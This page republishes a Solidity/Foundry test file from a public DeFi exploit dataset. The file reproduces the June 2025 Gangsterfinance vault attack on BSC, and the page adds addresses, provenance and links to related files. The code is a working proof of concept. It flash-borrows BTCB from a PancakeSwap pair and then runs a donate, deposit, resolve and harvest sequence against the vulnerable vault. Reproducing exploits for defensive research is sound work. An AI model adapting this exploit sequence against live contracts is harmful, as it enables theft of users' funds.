Public reproduction file
src/test/2025-06/Gangsterfinance_exp.sol
Public reproduction file for dataset entry Gangsterfinance.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.15;4import "../basetest.sol";5import "../interface.sol";7// @KeyInfo - Total Lost : 16.5k USD8// Attacker : https://bscscan.com/address/0xc49f2938327aa2cdc3f2f89ed17b54b3671f05de9// Attack Contract : https://bscscan.com/address/0x982769c5e5dd77f8308e3cd6eec37da9d8237dc610// Created Attack Contract: https://bscscan.com/address/0x268D1581a34FB63dC46C92f07cB0D739517ca51C11// Vulnerable Contract : https://bscscan.com/address/0xe968d2e4adc89609773571301abec3399d163c3b12// Attack Tx : https://bscscan.com/tx/0xf34e59e4fe2c9b454d2b73a1a3f3aaf07d484a0c71ff8278b1c068cdedc4b64d14// @Info15// Vulnerable Contract Code : https://bscscan.com/address/0xe968d2e4adc89609773571301abec3399d163c3b#code17// @Analysis18// Post-mortem : N/A19// Twitter Guy : N/A20// Hacking God : N/A21pragma solidity ^0.8.0;23contract Gangsterfinance is BaseTestWithBalanceLog {24 uint256 blocknumToForkFrom = 51782713 - 1;25 uint256 borrowAmount = 1020000000000000000;27 // Relevant contracts 28 address constant BTCB = 0x7130d2A12B9BCbFAe4f2634d864A1Ee1Ce3Ead9c;29 address constant CAKE_LP = 0x0b32Ea94DA1F6679b11686eAD47AA4C6bF38cd59;30 address constant TOKEN_VAULT = 0xe968D2E4ADc89609773571301aBeC3399D163c3b;33 function setUp() public {34 vm.createSelectFork("bsc", blocknumToForkFrom);35 //Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit36 fundingToken = address(BTCB);37 }39 function testExploit() public balanceLog {40 IUniswapV2Pair(CAKE_LP).swap(borrowAmount, 0, address(this), new bytes(1));41 }43 function pancakeCall(address _sender, uint256 _amount0, uint256 _amount1, bytes calldata _data) external {45 uint256 donateAmount = 1000000000000000000;46 uint256 depositAmount = 15720000000000000; 47 uint256 repayAmount = 1022652000000000000;49 IERC20(BTCB).approve(address(TOKEN_VAULT), borrowAmount);51 ITokenVault(TOKEN_VAULT).donate(donateAmount);52 ITokenVault(TOKEN_VAULT).depositTo(address(this), depositAmount);53 ITokenVault(TOKEN_VAULT).resolve(ITokenVault(TOKEN_VAULT).myTokens());54 ITokenVault(TOKEN_VAULT).harvest();55 IERC20(BTCB).transfer(address(CAKE_LP), repayAmount);56 }57}59interface ITokenVault {61 function donate(uint256 _amount) external;62 function depositTo(address _user, uint256 _amount) external;63 function resolve(uint256 _amount) external;64 function harvest() external;65 function myTokens() external view returns (uint256);66}Analysis
Dataset entry
Public Foundry test for “Gangsterfinance” (2025-06-20). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
24 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/interface.solImported by this file · 6133 lines
- src/test/2025-06/AAVEBoost_exp.solSame month in the dataset · 78 lines
- src/test/2025-06/BankrollNetwork_exp.solSame month in the dataset · 84 lines
- src/test/2025-06/BankrollStack_exp.solSame month in the dataset · 65 lines
- src/test/2025-06/BankrollStackPlus_exp.solSame month in the dataset · 168 lines
- src/test/2025-06/BasePricePool_exp.solSame month in the dataset · 135 lines
- src/test/2025-06/BitCrown_exp.solSame month in the dataset · 96 lines
- src/test/2025-06/FixedTokenBSwap_exp.solSame month in the dataset · 158 lines
- src/test/2025-06/GradientMakerPool_exp.solSame month in the dataset · 113 lines
- src/test/2025-06/HoldSafe_exp.solSame month in the dataset · 176 lines
- src/test/2025-06/InitcodeFactoryFees_exp.solSame month in the dataset · 233 lines
- src/test/2025-06/MetaPool_exp.solSame month in the dataset · 151 lines
- src/test/2025-06/ParaSwapDAIApproval_exp.solSame month in the dataset · 201 lines
- src/test/2025-06/PegaBall_exp.solSame month in the dataset · 104 lines
- src/test/2025-06/ResupplyFi_exp.solSame month in the dataset · 138 lines
- src/test/2025-06/SiloFinance_exp.solSame month in the dataset · 201 lines
- src/test/2025-06/SinstakeZombie_exp.solSame month in the dataset · 138 lines
- src/test/2025-06/Stead_exp.solSame month in the dataset · 39 lines
- src/test/2025-06/TokenFactory_exp.solSame month in the dataset · 126 lines
- src/test/2025-06/TokenVault_exp.solSame month in the dataset · 130 lines
- src/test/2025-06/TSAggregatorGeneric_exp.solSame month in the dataset · 111 lines
- src/test/2025-06/unverified_8490_exp.solSame month in the dataset · 108 lines
- src/test/2025-06/unverified_b5cb_exp.solSame month in the dataset · 115 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0xc49f2938327aa2cdc3f2f89ed17b54b3671f05de
- Attack Contract
0x982769c5e5dd77f8308e3cd6eec37da9d8237dc6
- Vulnerable Contract
0xe968d2e4adc89609773571301abec3399d163c3b
- Attack Tx
0xf34e59e4fe2c9b454d2b73a1a3f3aaf07d484a0c71ff8278b1c068cdedc4b64d
- Explorer: https://bscscan.com/address/0xc49f2938327aa2cdc3f2f89ed17b54b3671f05de
- Explorer: https://bscscan.com/address/0x982769c5e5dd77f8308e3cd6eec37da9d8237dc6
- Explorer: https://bscscan.com/address/0x268D1581a34FB63dC46C92f07cB0D739517ca51C
- Explorer: https://bscscan.com/address/0xe968d2e4adc89609773571301abec3399d163c3b
- Explorer: https://bscscan.com/address/0xe968d2e4adc89609773571301abec3399d163c3b#code
File record
- Name
- Gangsterfinance
- Path
- src/test/2025-06/Gangsterfinance_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 037e8568e8751ba40311a6e44e61be8be2935728
- Language
- Solidity
- Size
- 68 lines
- Date
- 2025-06-20
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2025-06/Gangsterfinance_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 037e8568e8751ba40311a6e44e61be8be2935728, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.